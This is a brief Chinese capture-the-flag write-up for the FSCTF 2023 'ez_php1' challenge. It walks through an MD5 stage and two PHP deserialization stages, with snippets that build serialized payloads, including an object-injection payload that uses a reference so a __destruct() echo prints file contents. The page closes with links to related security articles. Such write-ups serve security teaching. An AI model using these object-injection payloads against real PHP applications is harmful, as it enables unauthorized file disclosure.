[FSCTF 2023]ez_php1

一共有三小关

第一关:md5加密

第二关:反序列化

重点 单个字符串序列化 unserialize($str) === "$KEY"

php 复制代码
<?php
$KEY="YES I love";

echo serialize($KEY);

s:10:"YES I love";

第三关: 反序列化

把a的地址赋给b,因为在__destruct()中有echo,可以输出文件内容。

php 复制代码
$c=new Clazz();
$c->b=&$c->a;
echo serialize($c);
相关推荐
一拳一个娘娘腔40 分钟前
【第五期】漏洞攻防-逻辑篇:越权与支付漏洞 —— 为什么改个参数就能“0元购”?
安全·web安全·web
ch3nyuyu2 小时前
socket套接字
开发语言·php
夏天测2 小时前
微信小程序自动化漏洞挖掘流水线:从缓存提取到密钥验证全流程实战
python·网络安全·微信小程序·漏洞挖掘
持敬chijing3 小时前
Web渗透之前后端漏洞-命令注入
安全·web安全·网络安全·网络攻击模型·安全威胁分析
leagsoft_10033 小时前
零信任选型五刀法——零信任怎么选?五个问题,五条红线
开发语言·php
顾凌陵3 小时前
Web信息收集实战指南
安全·web安全
yyuuuzz4 小时前
云服务器软件部署的几个常见问题
运维·服务器·开发语言·网络·云计算·php·apache
hhcgchpspk4 小时前
xss漏洞学习笔记
笔记·学习·网络安全·xss
juesdo5 小时前
青岑CTF web入门 EZCMD系列
web安全·网络安全·php
RisunJan5 小时前
Linux命令-php(PHP语言的命令行接口)
linux·php